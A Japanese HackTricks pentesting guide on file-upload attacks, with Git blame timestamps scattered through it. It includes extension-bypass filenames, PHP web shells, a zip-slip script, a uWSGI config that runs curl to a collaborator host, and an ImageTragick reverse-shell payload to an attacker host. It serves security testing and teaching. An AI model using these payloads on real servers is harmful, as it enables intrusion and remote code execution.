hacktricks/pentesting-web/file-upload/README.md

355 lines
31 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# ファイルのアップロード
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
2022-04-28 16:01:33 +00:00
</details>
![](<../../.gitbook/assets/image (638) (3).png>)
2022-04-30 20:31:18 +00:00
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう!
2022-04-30 20:31:18 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2023-07-07 23:42:27 +00:00
## ファイルのアップロード一般的な方法論
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
他の便利な拡張子:
2021-01-28 13:23:35 +00:00
2022-10-16 23:16:14 +00:00
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
2023-07-07 23:42:27 +00:00
* **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
2021-02-11 00:14:31 +00:00
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
2021-01-28 13:23:35 +00:00
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
2021-02-11 00:14:31 +00:00
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
2021-01-28 13:23:35 +00:00
2023-07-07 23:42:27 +00:00
### ファイル拡張子のチェックをバイパスする
1. 適用される場合、**前の拡張子をチェック**します。大文字の文字も使用してテストします_pHp, .pHP5, .PhAr ..._
2. **実行拡張子の前に有効な拡張子を追加**してチェックします(前の拡張子も使用します):
2023-07-07 23:42:27 +00:00
* _file.png.php_
* _file.png.Php5_
3. **末尾に特殊文字を追加**してみてください。Burpを使用してすべてのASCII文字とUnicode文字を**ブルートフォース**することができます。 _以前に言及した拡張子も使用できます_
2023-07-07 23:42:27 +00:00
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. 拡張子パーサーを**トリック**して、サーバーサイドでの保護を**バイパス**するために、**拡張子を2重にする**か、**ジャンク**データ(**ヌル**バイト)を拡張子の間に追加するなどのテクニックを使用してみてください。 (以前の拡張子を使用して、より良いペイロードを準備することもできます。)
2023-07-07 23:42:27 +00:00
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. 前のチェックに**別のレイヤーの拡張子**を追加します:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. 有効な拡張子の**前に実行拡張子を配置**し、サーバーが誤って構成されていることを期待します。 (拡張子が **.php** で終わらないが、**.php** で終わるものはすべてコードを実行するApacheの誤構成を悪用するのに役立ちます
2023-07-07 23:42:27 +00:00
* _例file.php.png_
7. **Windows**で**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバーには**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、その後他のテクニックを使用して編集することもできます。たとえば、短いファイル名を使用することができます。 「**::$data**」パターンも空でないファイルを作成するために使用できます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります「file.asp::$data.」)
2023-07-07 23:42:27 +00:00
8. ファイル名の制限を破るようにしてみてください。有効な拡張子が切り詰められ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
```
# Linuxの最大255バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7
```markdown
2023-07-07 23:42:27 +00:00
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ペイロードを作成する
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type、Magic Number、Compression & Resizing のバイパス
* **Content-Type** チェックをバイパスするには、**Content-Type** ヘッダーの **値**_image/png_、_text/plain_、_application/octet-stream_ に設定します。
1. Content-Type ワードリスト: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* **マジックナンバー** チェックをバイパスするには、ファイルの先頭に **実際の画像のバイト** を追加します_file_ コマンドを混乱させます)。または、シェルを **メタデータ** 内に導入します:\
2023-07-07 23:42:27 +00:00
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
または、画像に **ペイロードを直接導入** することもできます:\
2023-07-07 23:42:27 +00:00
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* 画像に **圧縮が追加されている** 場合、たとえば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のようないくつかの標準的な PHP ライブラリを使用している場合、前述のテクニックは役に立ちません。ただし、**PLTE チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
2023-07-07 23:42:27 +00:00
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* ウェブページが **画像のリサイズ** を行っている場合、たとえば PHP-GD の関数 `imagecopyresized` または `imagecopyresampled` を使用している場合、前述のテクニックは役に立ちません。ただし、**IDAT チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
2023-07-07 23:42:27 +00:00
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* **画像のリサイズを生き残る** ペイロードを作成するための別のテクニックとして、PHP-GD 関数 `thumbnailImage` を使用することができます。ただし、**tEXt チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
2023-07-07 23:42:27 +00:00
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
2021-01-28 13:23:35 +00:00
2023-07-07 23:42:27 +00:00
### その他のチェックトリック
2021-01-28 13:23:35 +00:00
2023-07-07 23:42:27 +00:00
* アップロード済みのファイルの **名前を変更** する脆弱性を見つける。
* **ローカルファイルインクルージョン** の脆弱性を見つけてバックドアを実行する。
* **情報漏洩の可能性**:
2023-07-07 23:42:27 +00:00
1. **同じ名前****同じファイル****複数回**(かつ **同時に**)アップロードする。
2. **既に存在するファイル** または **フォルダ****名前** を持つファイルをアップロードする。
3. 名前が **“.”、“..”、“…”** のファイルをアップロードする。たとえば、Apache の **Windows** では、アプリケーションがアップロードされたファイルを “/www/uploads/” ディレクトリに保存する場合、 “.” のファイル名は “/www/” ディレクトリに “uploads” という名前のファイルを作成します。
2023-07-07 23:42:27 +00:00
4. **NTFS** での **“…:.jpg”** のように、簡単に削除できないファイルをアップロードする。 (Windows)
5. 名前に `|<>*?”` のような **無効な文字** を含むファイルを **Windows** にアップロードする。 (Windows)
6. **CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9** のような **予約済み**(禁止されている)**名前** を使用して **Windows** にファイルをアップロードする。
* 実行可能なファイル(.exeまたは疑わしくない.html ファイルをアップロードして、被害者が誤って開いたときにコードを実行することも試してみてください。
2021-01-28 13:23:35 +00:00
2023-07-07 23:42:27 +00:00
### 特殊な拡張子のトリック
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
**PHP サーバー** にファイルをアップロードしようとしている場合、[コードを実行するための **.htaccess** のトリックを参照してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
**ASP サーバー** にファイルをアップロードしようとしている場合、[コードを実行するための **.config** のトリックを参照してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
2020-10-15 13:16:06 +00:00
`.phar` ファイルは、Java の `.jar` のようなものですが、PHP 用であり、PHP と同様に使用することができますPHP で実行したり、スクリプト内でインクルードしたり...)。
2020-10-15 13:16:06 +00:00
`.inc` 拡張子は、ファイルを **インポートするためだけに使用される** PHP ファイルに使用されることがありますので、いずれかの時点で、**この拡張子が実行されるように許可されている** 可能性があります。
2020-10-15 13:16:06 +00:00
2022-08-04 20:47:35 +00:00
## **Jetty RCE**
Jetty サーバーに XML ファイルをアップロードできる場合、[**新しい \*.xml と \*.war は自動的に処理** されるため、RCE を取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** したがって、次の画像に示すように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードし、シェルを期待してください!
2022-08-04 20:47:35 +00:00
![](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
2022-08-04 20:47:35 +00:00
2023-03-02 09:08:19 +00:00
## **uWSGI RCE**
[**uWSGI サーバーの .ini** 設定ファイルを置き換えることができる場合、RCE を取得できます](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**。** 実際には、uWSGI の設定ファイルには、特定の構文で定義された「マジック」変数、プレースホルダー、および演算子が含まれています。特に、'@' 演算子は、@(ファイル名) の形式でファイルの内容を含めるために使用されます。多くの uWSGI スキームがサポートされており、プロセスの標準出力から読み取るために便利な「exec」も含まれています。これらの演算子は、.ini 設定ファイルが解析されるときに、リモートコマンド実行または任意のファイルの書き込み/
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
**設定**ファイルが**解析**されると、**ペイロード**が**実行**されます。設定が解析されるためには、プロセスを再起動する必要がありますクラッシュDoSまたはファイルが自動でリロードされる必要があります変更が見つかった場合にファイルをリロードする秒数を示すオプションが使用されている場合
2023-03-02 09:08:19 +00:00
**重要な注意:** uWSGIの設定ファイルの解析は寛容です。前述のペイロードはバイナリファイル画像、PDFなどの中に埋め込むことができます。
2023-03-02 09:08:19 +00:00
2023-07-07 23:42:27 +00:00
## **wgetファイルのアップロード/SSRFトリック**
2020-10-15 13:16:06 +00:00
特定の場合に、サーバーが**`wget`**を使用してファイルをダウンロードし、**URL**を指定できることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされるようにします。ただし、**このチェックは回避できます。**\
**Linux**での**ファイル名**の**最大**長さは**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードすることができます。このファイル名はチェックを**バイパス**します(この例では**".gif"**が**有効な**拡張子です)。ただし、`wget`はファイルを**"A"\*232+".php"**という名前に**リネーム**します。
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
2023-07-07 23:42:27 +00:00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-10-15 13:16:06 +00:00
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
**別のオプション**として考えられるのは、**HTTPサーバーが別のファイルにリダイレクトする**ようにすることです。そのため、初期のURLはチェックをバイパスし、wgetは新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが**パラメータ**`--trust-server-names`とともに使用されている場合にのみ機能します。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
#### その他のリソース
2021-01-28 13:23:35 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
2023-03-02 09:08:19 +00:00
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
## ツール
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass)は、ペンテスターやバグハンターがファイルのアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティの技術を活用して、ウェブアプリケーションの評価を徹底的に行い、脆弱性を特定し、悪用するプロセスを簡素化します。
2023-07-07 23:42:27 +00:00
## ファイルのアップロードから他の脆弱性へ
* **ファイル名**を`../../../tmp/lol.png`に設定し、**パストラバーサル**を試みます
* **ファイル名**を`sleep(10)-- -.jpg`に設定し、**SQLインジェクション**を実行できるかもしれません
* **ファイル名**を`<svg onload=alert(document.domain)>`に設定して、XSSを実現します
* **ファイル名**を`; sleep 10;`に設定して、いくつかのコマンドインジェクションをテストします(詳細は[こちらのコマンドインジェクションのトリック](../command-injection.md)を参照してください)
* [画像svgファイルのXSS](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS**ファイルの**アップロード**+ **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [svgアップロードの**XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [svgファイルのアップロードによる**オープンリダイレクト**](../open-redirect.md#open-redirect-uploading-svg-files)
* [https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)から**さまざまなsvgペイロード**を試してみてください
2023-07-07 23:42:27 +00:00
* [有名な**ImageTrick**の脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* ウェブサーバーに画像をURLからキャッチさせることができる場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用してみることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
* [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
* XSSのための特別に作成されたPDF[次のページでは、PDFデータを注入してJSの実行を行う方法](../xss-cross-site-scripting/pdf-injection.md)を示しています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するためのPDFを準備することができます。
2023-07-07 23:42:27 +00:00
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))のコンテンツをアップロードして、サーバーに**アンチウイルス**があるかどうかを確認します
* ファイルのアップロード時に**サイズ制限**があるかどうかを確認します
以下は、アップロードによって達成できる10のことのトップ10リストです[リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から):
2023-07-07 23:42:27 +00:00
1. **ASP / ASPX / PHP5 / PHP / PHP3**Webシェル / RCE
2. **SVG**格納型XSS / SSRF / XXE
3. **GIF**格納型XSS / SSRF
2023-07-07 23:42:27 +00:00
4. **CSV**CSVインジェクション
5. **XML**XXE
6. **AVI**LFI / SSRF
7. **HTML / JS**HTMLインジェクション / XSS / オープンリダイレクト
2023-07-07 23:42:27 +00:00
8. **PNG / JPEG**ピクセルフラッド攻撃DoS
9. **ZIP**LFI経由のRCE / DoS
10. **PDF / PPTX**SSRF / BLIND XXE
2023-07-07 23:42:27 +00:00
#### Burp拡張機能
{% embed url="https://github.com/portswigger/upload-scanner" %}
2023-07-07 23:42:27 +00:00
## マジックヘッダーバイト
2021-04-17 15:03:24 +00:00
2023-07-07 23:42:27 +00:00
* **PNG**`"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**`"\xff\xd8\xff"`
2021-04-17 15:03:24 +00:00
2023-07-07 23:42:27 +00:00
他のファイルタイプについては、[https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures)を参照してください。
2023-07-07 23:42:27 +00:00
### 自動的に解凍されるZip/Tarファイルのアップロード
2020-10-15 13:16:06 +00:00
サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
#### シンボリックリンク
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスできます:
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
### 異なるフォルダに解凍する
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
解凍されたファイルは予期しないフォルダに作成されます。
2020-10-15 13:16:06 +00:00
OSレベルのコマンド実行から悪意のあるファイルのアップロードを保護するために、この設定が有効であると簡単に思い込むことができますが、残念ながらこれは真実ではありません。ZIPアーカイブ形式は階層的な圧縮をサポートしており、さらに上位のディレクトリを参照することもできるため、対象アプリケーションの解凍機能を悪用することで安全なアップロードディレクトリから脱出することができます。
2020-10-15 13:16:06 +00:00
この種のファイルを作成するための自動化されたエクスプロイトは、こちらで見つけることができます: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
2020-10-15 13:16:06 +00:00
```python
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
あなたは、**evilarcを使用したシンボリックリンクのトリック**も利用することができます。もしフラグが`/flag.txt`にある場合は、**そのファイルへのシンボリックリンクを作成**し、**システム内にそのファイルを作成**しておくことで、evilarcを呼び出した際に**エラーが発生しないようにします**。
2020-10-15 13:16:06 +00:00
悪意のあるzipファイルを作成するためのPythonコードの例:
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
2023-07-07 23:42:27 +00:00
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
2023-07-07 23:42:27 +00:00
リモートコマンド実行を達成するために、以下の手順を実行しました:
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
1. PHPシェルを作成します
2020-10-15 13:16:06 +00:00
```php
2023-07-07 23:42:27 +00:00
<?php
2020-10-15 13:16:06 +00:00
if(isset($_REQUEST['cmd'])){
2023-07-07 23:42:27 +00:00
$cmd = ($_REQUEST['cmd']);
system($cmd);
2020-10-15 13:16:06 +00:00
}?>
```
2023-07-07 23:42:27 +00:00
1. 「ファイルスプレー」と呼ばれる手法を使用し、圧縮されたzipファイルを作成します。
```
2020-10-15 13:16:06 +00:00
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
2023-07-07 23:42:27 +00:00
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
2020-10-15 13:16:06 +00:00
root@s2crew:/tmp#
```
2023-07-07 23:42:27 +00:00
3. ヘックスエディタまたはviを使用して、「xxA」を「../」に変更します。私はviを使用しました
```
2020-10-15 13:16:06 +00:00
:set modifiable
:%s/xxA/..\//g
:x!
```
2023-07-07 23:42:27 +00:00
完了!
2020-10-15 13:16:06 +00:00
あと一つ手順が残っていますZIPファイルをアップロードし、アプリケーションに解凍させます成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルが存在します
2020-10-15 13:16:06 +00:00
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
2023-07-07 23:42:27 +00:00
**参考**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
2022-05-01 16:32:23 +00:00
## ImageTragic
2020-10-15 13:16:06 +00:00
このコンテンツを画像拡張子付きでアップロードして、脆弱性を悪用してください **(ImageMagick , 7.0.1-1)**
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
2023-07-07 23:42:27 +00:00
## PNGにPHPシェルを埋め込む
2020-10-15 13:16:06 +00:00
IDATチャンクにウェブシェルを配置する主な理由は、リサイズや再サンプリング操作をバイパスできるためです。PHP-GDには、これを行うための2つの関数、[imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php)と[imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php)が含まれています。
2020-10-15 13:16:06 +00:00
この投稿を読んでください:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
## ポリグロットファイル
2020-10-15 13:16:06 +00:00
セキュリティの文脈でのポリグロットとは、複数の異なるファイル形式の有効な形式であるファイルのことを指します。例えば、[GIFAR](https://en.wikipedia.org/wiki/Gifar)はGIFファイルとRARファイルの両方です。また、GIFとJSの両方、PPTとJSの両方など、複数の形式であるファイルも存在します。
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
ポリグロットファイルは、ファイルタイプに基づく保護をバイパスするためによく使用されます。ユーザーが危険なファイルJSファイル、PHPファイル、Pharファイルなどをアップロードすることを防ぐために、ファイルのアップロードを許可するアプリケーションの多くは、JPEG、GIF、DOCなどの特定のタイプのアップロードのみを許可します。
2020-10-15 13:16:06 +00:00
これにより、複数の異なる形式の形式に準拠したファイルをアップロードできます。JPEGのように見えるが、実際にはPHARファイルPHp ARchiveであるファイルをアップロードすることができますが、有効な拡張子が必要であり、アップロード機能が許可しない場合は役に立ちません。
2020-10-15 13:16:06 +00:00
2023-07-07 23:42:27 +00:00
詳細はこちら:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
2022-04-28 16:01:33 +00:00
2022-07-21 20:26:09 +00:00
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームである**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
2022-05-08 22:42:39 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
